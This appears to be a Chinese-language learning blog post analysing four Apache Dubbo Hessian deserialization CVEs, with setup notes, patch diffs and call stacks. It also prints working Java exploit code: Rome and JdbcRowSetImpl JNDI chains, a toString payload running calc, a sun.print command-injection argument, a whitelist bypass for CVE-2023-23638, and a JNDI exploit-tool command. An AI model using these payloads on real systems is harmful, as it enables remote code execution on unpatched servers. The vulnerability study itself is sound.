Apache Dubbo安全

Screenshot_2024-04-25-09-00-01-41_dbfae42db307a0b

前言

还是先来了解一介系什么

Dubbo 介绍 | Apache Dubbo

image-20240425101522947

Apache Dubbo 是一款 RPC(Remote Procedure Call Protocol)远程过程调用协议。一个通俗的描述是:客户端在不知道调用细节的情况下,调用存在于远程计算机上的某个对象,就像调用本地应用程序中的对象一样。 服务开发框架,用于解决微服务架构下的服务治理与通信问题。漏洞存在于 Apache Dubbo默认使用的反序列 化工具 hessian 中,攻击者可能会通过发送恶意 RPC 请求来触发漏洞,这类 RPC 请求中通常 会带有无法识别的服务名或方法名,以及一些恶意的参数负载。当恶意参数被反序列化时,达 到代码执行的目的。

在Java语言体系下dubbo通常为spring boot,提供从项目创建、开发测试,到部署、可视化监测、流量治理,再到生态集成的全套服务。

可以从官网看到,dubbo支持很多种通讯协议

image-20240425102701935

了解 Dubbo 核心概念和架构 | Apache Dubbo

dubbo RPC 默认采用 hessian2 序列化。 但 hessian 是一个比较老的序列化实现了,而且它是跨语言的,所以不是单独针对 java 进行 优化的。而 dubbo RPC 实际上完全是一种 Java to Java 的远程调用,其实没有必要采用跨语 言的序列化方式(当然肯定也不排斥跨语言的序列化)。

环境搭建

可以实现新功能的东西还是自己先动手试试吧

要配置并且启动zookeeper

Apache ZooKeeper

ZooKeeper 是一个集中式服务,用于维护配置信息、命名、提供分布式同步和提供组服务。

image-20240425224522874

dubbo是一个分布式服务框架,主要用于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。dubbo的服务提供者会在zookeeper上面创建一个临时节点,表明自己的IP和端口。当消费者需要使用服务时,会先在zookeeper上面查询,找到服务提供者,做一些负载的选择(比如随机、轮流),然后按照这些信息,访问服务提供者。因此,dubbo必须使用zookeeper

下载完后解压进入conf目录后新建一个zoo.cfg文件,然后内容为

1
2
3
4
5
6
tickTime=2000
initLimit=10
syncLimit=5
dataDir=D:\语言学习\java学习\apache-zookeeper-3.9.2-bin\conf\data
dataLogDirD:\语言学习\java学习\apache-zookeeper-3.9.2-bin\conflog
clientPort=2181

记得修改为自己的路径

然后进入bin目录运行

1
2
./zkServer.cmd
./zkCli.cmd

看到这个表示成功了

image-20240425224847231

项目搭建就根据官网的教程来

3 - 基于 Spring Boot Starter 开发微服务应用 | Apache Dubbo

image-20240425223938161

好吧,后面发现跟据官网搭建是远远不够的,最多只是熟悉一下如何使用的。

CVE-2020-1948

Apache dubbo Hession协议反序列化漏洞

漏洞介绍 Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对 Dubbo服务端进行恶意代码执行。

影响范围

  • Apache Dubbo 2.7.0 ~ 2.7.6
  • Apache Dubbo 2.6.0 ~ 2.6.7
  • Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。

diff一下补丁

DecodeableRpcInvocation增加入参类型校验 by aquariuspj · Pull Request #6374 · apache/dubbo (github.com)

image-20240427164208766

这里判断了rpc的方法名,要求为指定的方法名,要求参数为String,String[],Object[]

但是这样根本无法拦截恶意代码,通过设置$invoke$invokeAsync$echo等特殊方法的变量值,依然可以造成RCE

1
2
3
String[] types = new String[]{"com.xxx.rome"};
Object[] objects = new Object[]{new RomeObject()};
service.$invoke("$invoke", types, objects);

环境搭建

需要根据官网的搭建教程进行修改

properties标签的maven.compiler.source和maven.compiler.target都设置值为1.8image-20240427123831085

然后修改三个模块dubbo依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!-- dubbo -->
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-spring-boot-starter</artifactId>
<version>2.7.6</version>
</dependency>
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.6</version>
<type>pom</type>
<exclusions>
<exclusion>
<artifactId>slf4j-reload4j</artifactId>
<groupId>org.slf4j</groupId>
</exclusion>
</exclusions>
</dependency>

在provider的application.yml文件里面新加,来配置扫描注解的包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
server:
port: 9990 #Spring Web运行端口

spring:
application:
name: dubbo-provider #项目名称
dubbo:
application:
name: dubbo-springboot-demo-provider
protocol:
name: dubbo
port: 20000
registry:
address: zookeeper://${zookeeper.address:127.0.0.1}:2181
scan:
base-packages: org.apache.dubbo.springboot.demo.provider

以及添加接口的实现方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package org.apache.dubbo.springboot.demo.provider;

import org.apache.dubbo.config.annotation.Service;
import org.apache.dubbo.springboot.demo.DemoService;

@Service
public class DemoServiceImpl implements DemoService {

@Override
public String sayHello(String name) {
return "Hello " + name;
}

@Override
public String IHello(String name) {
return "Hello "+name;
}

@Override
public Object IObject(Object o) {
return o;
}

}

maven依赖添加

1
2
3
4
5
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>

interface那个项目,下的DemoService新添加两个

1
2
3
4
5
6
7
8
package org.apache.dubbo.springboot.demo;

public interface DemoService {

String sayHello(String name);
String IHello(String name);
Object IObject(Object o);
}

consumer项目修改application.yml来运行web服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
server:
port: 9991 #Spring Web运行端口

spring:
application:
name: dubbo-consumer #项目名称
dubbo:
application:
name: dubbo-springboot-demo-consumer
protocol:
name: dubbo
port: -1
registry:
address: zookeeper://${zookeeper.address:127.0.0.1}:2181

添加SpringBoot路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.apache.dubbo.springboot.demo.consumer;

import org.apache.dubbo.springboot.demo.DemoService;
import org.apache.dubbo.config.annotation.Reference;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloConsumer {

@Reference
private DemoService demoService;

@RequestMapping("/hello")
public String hello(@RequestParam(name = "name")String name){
String h = demoService.IHello(name);
return h;
}
@RequestMapping("/calc")
public void Hessian_Ser() throws Exception {
Object o = Hessian_Payload.getPayload();
Object b = demoService.IObject(o);
}
}

添加poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.apache.dubbo.springboot.demo.consumer;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import javax.sql.rowset.BaseRowSet;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Dubbo20201948 {

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
/* HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;*/
// ldap url
String url = "ldap://127.0.0.1:1389/s6acsa";

// 创建JdbcRowSetImpl对象
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
Field dataSource = BaseRowSet.class.getDeclaredField("dataSource");
dataSource.setAccessible(true);
dataSource.set(jdbcRowSet, url);

// 创建ToStringBean对象
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
// 创建ObjectBean
ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);

// 创建HashMap
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "bbbb");
return hashMap;
}

public static Object getPayload() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:1389/bzkan5";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = makeMap(equalsBean,"1");

return hashMap;
}
}

然后访问localhost:9991/calc来通过消费者来操作提供者。

image-20240427160046794

漏洞分析

打个断点来看调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
toString:158, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)
hashCode:180, EqualsBean (com.rometools.rome.feed.impl)
hash:338, HashMap (java.util)
put:611, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)

就是那Rome链打的。

CVE-2021-43297

Apache Dubbo Hessian2 异常处理时反序列化

漏洞描述

Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297) (seebug.org)

image-20240416191246287

就是在catch未知情况时会导致远程命令执行

补丁

Remove toString calling · apache/dubbo-hessian-lite@a35a4e5 (github.com)

image-20240416191501911

这些改动都是删除了括号符与obj拼接的输出。这里存在字符串拼接的隐式.toString调用

  1. toString()方法在Object类里定义的,其返回值类型为String类型,返回类名和它的引用地址。
  2. 在进行String类与其他类型的连接操作时,自动调用toString()方法。

image-20240416192147790

toString调用了hashMap的hashCode方法,hashMap又有readObject方法,可以作为构造恶意反序列化的入口。但是Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,LazeMap不能使用。

利用链

思路是触发 ContextUtil.ReadOnlyBinding 的 toString 方法(实际继承 javax.naming.Binding),toString 方法调用 getObject 方法获取对象。

经过了上面对于补丁的分析,这个时候我们就需要去寻找如何到达obj.toString方法,在com.alibaba.com.caucho.hessian.io.Hessian2Input发现obj拼接在except方法中

image-20240426182857324

obj是执行反序列化之后得到的,如果这里反序列化出来的是恶意ReadOnlyBinding对象,就可以RCE了

接着来找找excpet方法的用法,看到在当前这个类是有很多用法的。

image-20240426203236572

而且很多使用是switch语句,default情况,当取default上面没有条件的case就可以进入default里面。

readString当 tag 大于 31 的时候,就会进入到 this.expect 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public int readString(char[] buffer, int offset, int length) throws IOException {
int readLength = 0;
if (this._chunkLength == -2) {
this._chunkLength = 0;
return -1;
} else {
int tag;
if (this._chunkLength == 0) {
tag = this.read();
switch (tag) {
case ...
case 31:
this._isLastChunk = true;
this._chunkLength = tag - 0;
break;
case 32:
case ...
case 81:
default:
throw this.expect("string", tag);
case ...
}
}

然后又在com.caucho.hessian.io.Hessian2Input#readObjectDefinition找到了对于readString的调用。

image-20240428172323060

com.caucho.hessian.io.Hessian2Input#readObject()反序列化的入口的case64下调用了readObjectDefinition方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 public Object readObject() throws IOException {
int tag = this._offset < this._length ? this._buffer[this._offset++] & 255 : this.read();
int ref;
Deserializer reader;
Deserializer reader;
String type;
int length;
ObjectDefinition def;
int i;
byte[] buffer;
switch (tag) {
case ...
case 67:
this.readObjectDefinition((Class)null);
return this.readObject();
case ...
}
}

注意,在com.alibaba.com.caucho.hessian.io.SerializerFactory#getDefaultSerializer会检测有没有序列化没有继承Serializable的类。默认是不允许序列化没有继承Serializable的类,但是神奇的是这只是本地的校验,关闭即可,服务端根本没有校验类需要继承Serializable。

image-20240428170701345

添加一个依赖,dubbo的com.alibaba.com.caucho.hessian.io不太好用来控制_defaultSerializer的值

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.38</version>
</dependency>

也可以通过重写的方式来实现,直接修改值

1
2
3
4
5
6
7
8
9
10
protected Serializer getDefaultSerializer(Class cl) {
this._isAllowNonSerializable = true;
if (this._defaultSerializer != null) {
return this._defaultSerializer;
} else if (!Serializable.class.isAssignableFrom(cl) && !this._isAllowNonSerializable) {
throw new IllegalStateException("Serialized class " + cl.getName() + " must implement java.io.Serializable");
} else {
return new JavaSerializer(cl, this._loader);
}
}

或者我想通过jvm代理来重写,QAQ

害,直接修改vm参数就可以了,服辣。

1
-Ddubbo.hessian.allowNonSerializable=true

测试类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.*;

public class Test {
public static void main(final String[] args) throws Exception {
Dangerous dangerous = new Dangerous();

byte[] result;
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output oo = new Hessian2Output(bos);
// 运行反序列化未实现 Serializable 接口的类
oo.getSerializerFactory().setAllowNonSerializable(true);
oo.writeObject(dangerous);
oo.flush();
result = bos.toByteArray();

// 构造数据包
byte[] wrapper = new byte[result.length+1];
wrapper[0] = 67;
System.arraycopy(result, 0, wrapper, 1, result.length);

Hessian2Input hi = new Hessian2Input(new ByteArrayInputStream(wrapper));
hi.readObject();
}
}

class Dangerous {
public Dangerous(){}
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e){
System.out.println(e.getMessage());
}

return "Call exec.";
}
}

image-20240428173533961

后续利用就是找一条toString链

CVE-2022-39198

官方的通告

image-20240428192357032

CVE-2022-39198: Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass-Apache Mail Archives

hessian-lite导致的hessian反序列化

diff一下补丁

image-20240428191847125

Merge pull request #61 from apache/3.2.13-release · apache/dubbo-hessian-lite@5727b36 (github.com)

就是ban掉了一些包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.apache.commons.codec.

org.aspectj.

org.dom4j

org.junit.

org.mockito.

org.thymeleaf.

ognl.

sun.print.

唯一一个JDK包名的是sun.print.

jdk8u/jdk8u/jdk: ec41773b9ff2 src/windows/classes/sun/print/PrintServiceLookupProvider.java (openjdk.org)

frohoff/jdk8u-jdk (github.com)

注意到一个sun.print.UnixPrintServiceLookup类,只在unix的JDK中存在。他自带了getter方法getDefaultPrintService,虽然没有实现Serializeable接口,但是可以在hessian反序列化中得到利用。但是在高版本的JDK中被移除了。

现在的利用思路就是寻找可以触发getter方法的(我能想到的)。

  • FastJason可以触发
  • Rome可以触发

fastjson库是dubbo库的依赖,所以选择fastjson

XString#equals方法调用JSONObject#toString方法的调用栈

1
2
3
4
5
6
7
8
9
toString:1071, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)

类的构造函数没有使用public与static修饰,所以只能通过使用反射去实例化该类

1
2
3
4
5
6
7
8
9
10
11
import sun.print.UnixPrintService;
import java.lang.reflect.Constructor;

public class unix {
public static void main(String[] args) throws Exception{
Constructor unixPrintServiceConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
unixPrintServiceConstructor.setAccessible(true);
UnixPrintService o = (UnixPrintService) unixPrintServiceConstructor.newInstance(";kcalc");
System.out.println(o);
}
}

CVE-2023-23638

泛化调用可以使我们不依赖具体的接口 API, 就可以调用对应 Service 的某个方法

先看到 org.apache.dubbo.common.utils.PojoUtils#realize0 方法

image-20240430143840019

这一块代码首先判断是否为Map类型,通过getInstance来获取对象,防止多次调用构造方法

image-20240430144234174

看到这个INSTANCE属性的定义,这个getInstance方法是通过双重校验锁法来实现的一个单列模式

image-20240430144431733

单列模式的实现这篇文章有讲解Java单例模式(Singleton)以及实现 - CieloSun - 博客园 (cnblogs.com)

接着看到validateClass 方法,用来给类名进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public boolean validateClass(String name, boolean failOnError) {
if (!this.OPEN_CHECK_CLASS) {
return true;
} else {
name = name.toLowerCase(Locale.ROOT);
if (this.CACHE == this.CLASS_ALLOW_LFU_CACHE.get(name)) {
return true;
} else if (this.CACHE == this.CLASS_BLOCK_LFU_CACHE.get(name)) {
if (failOnError) {
this.error(name);
}

return false;
} else {
Iterator var3 = this.CLASS_DESERIALIZE_ALLOWED_SET.iterator();

String blockedPrefix;
while(var3.hasNext()) {
blockedPrefix = (String)var3.next();
if (name.startsWith(blockedPrefix)) {
this.CLASS_ALLOW_LFU_CACHE.put(name, this.CACHE);
return true;
}
}

var3 = this.CLASS_DESERIALIZE_BLOCKED_SET.iterator();

do {
if (!var3.hasNext()) {
this.CLASS_ALLOW_LFU_CACHE.put(name, this.CACHE);
return true;
}

blockedPrefix = (String)var3.next();
} while(!this.BLOCK_ALL_CLASS_EXCEPT_ALLOW && !name.startsWith(blockedPrefix));

this.CLASS_BLOCK_LFU_CACHE.put(name, this.CACHE);
if (failOnError) {
this.error(name);
}

return false;
}
}
}

首先是验证CLASS_ALLOW_LFU_CACHE白名单,再验证CLASS_BLOCK_LFU_CACHE黑名单

再看到realize0方法,遍历Map的key然后获取setter方法并且给field赋值。

image-20240430145757831

通过object.field.set进行利用

如果调用 JdbcRowSetImpl 的 setAutoCommit 方法造成 jndi 注入。

与此同时呢,获取可能的 setter 和 Field, 然后赋值,这样可以控制任何类的任何属性。那么通过field赋值机制可以控制SerializeClassChecker的INSTANCE属性值来绕过黑白名单。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package org.apache.dubbo.samples;

import org.apache.dubbo.common.utils.ConcurrentHashSet;
import org.apache.dubbo.common.utils.SerializeClassChecker;
import org.apache.dubbo.rpc.service.GenericService;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import sun.misc.Unsafe;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.*;

public class DemoConsumer {
public static void main(String[] args) throws Exception {
//获取配置文件并且实现通讯
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/generic-type-consumer.xml");
context.start();

//通过Unsafe类获取serializeClassChecker对象,防止通过构造方法实例化对象会行加载黑白名单和设置OPEN_CHECK_CLASS属性
Constructor<Unsafe> constructor = Unsafe.class.getDeclaredConstructor();
constructor.setAccessible(true);
Unsafe unsafe = constructor.newInstance();

Set<String> allowSet = new ConcurrentHashSet<>();
allowSet.add("com.sun.rowset.JdbcRowSetImpl".toLowerCase());

SerializeClassChecker serializeClassChecker = (SerializeClassChecker) unsafe.allocateInstance(SerializeClassChecker.class);
Field f = SerializeClassChecker.class.getDeclaredField("CLASS_DESERIALIZE_ALLOWED_SET");
f.setAccessible(true);
f.set(serializeClassChecker, allowSet);

//bypass
Map<Object, Object> map1 = new HashMap<>();
map1.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map1.put("INSTANCE", serializeClassChecker);

//加载远程恶意代码
Map<Object, Object> map2 = new LinkedHashMap<>();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("dataSourceName", "ldap://127.0.0.1:1389/lhcpej");
map2.put("autoCommit", true);

List list = new LinkedList();
list.add(map1);
list.add(map2);

GenericService genericService = (GenericService) context.getBean("helloService");
genericService.$invoke("sayHello", new String[]{"java.lang.String"}, new Object[]{list});
}
}

迭代的HashMap的顺序并不是放置元素的顺序,这个时候就需要LinkedHashMap。LinkedHashMap通过维护一个运行于所有条目的双向链表保证了元素迭代的顺序。

复现代码X1r0z/Dubbo-RCE: PoC of Apache Dubbo CVE-2023-23638 (github.com)

通过object.set+METHOD_NAME进行利用

Dubbo的configuration也是可以通过java.lang.System类的props对象进行传入的。那么就可以直接调用System.setProperties方法,传入修改后的dubbo配置,接着直接进行JDK原生反序列化。

1
2
3
4
5
6
7
8
9
private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}

后记

使用JNDI注入,暑假回去自己整了一个JNDI注入的工具吧。

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "Calc" -A "127.0.0.1"

效率有点低,想改CVE-2023-23638的payload,通过访问路由来调用方法,但配置文件改了很久没改成功,也没找到教程就放弃了,耽误了很多时间。以后学习别人漏洞利用文章的时候先看思路,感觉大把时间都用在搭建环境上面了/(ToT)/~~

这4个洞的触发思路各有不同,CVE-2020-1948 是反序列化直接就造成的漏洞,CVE-2021-43297是在反序列化过程中可以触发tostring方法,CVE-2022-39198是利用了dubbo自带的fastjson反序列化触发任意getter方法进而调用到一些无需实现实现Serializeable接口类的get方法,在hessian反序列化中使用,最后的CVE-2023-23638是通过恶意利用泛化调用中的方法来绕过黑名单限制。

还没学习过fastjson只能对触发点有浅显的了解,后面学习fastjson多多注意吧。

通过CVE-2021-43297漏洞在Apache Dubbo<=2.7.13下实现RCE - bitterz - 博客园 (cnblogs.com)

Dubbo的反序列化安全问题-Hessian2 - bitterz - 博客园 (cnblogs.com)

Apache Dubbo CVE-2023-23638 分析 - X1r0z Blog (exp10it.io)

Dubbo的反序列化安全问题-Hessian2 - bitterz - 博客园 (cnblogs.com)

Apache Dubbo 2.7.6 反序列化漏洞复现及分析 - 先知社区 (aliyun.com)

CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass - 先知社区 (aliyun.com)

Java安全学习——Hessian反序列化漏洞 - 枫のBlog (goodapple.top)

与 CVE-2021-43297 相关的两道题目 (harmless.blue)

https://aecous.github.io/2023/10/01/%E5%88%9D%E6%8E%A2UnixPrintService/

影响fastjson全版本的反序列化过程中的任意getter方法触发RCE - FreeBuf网络安全行业门户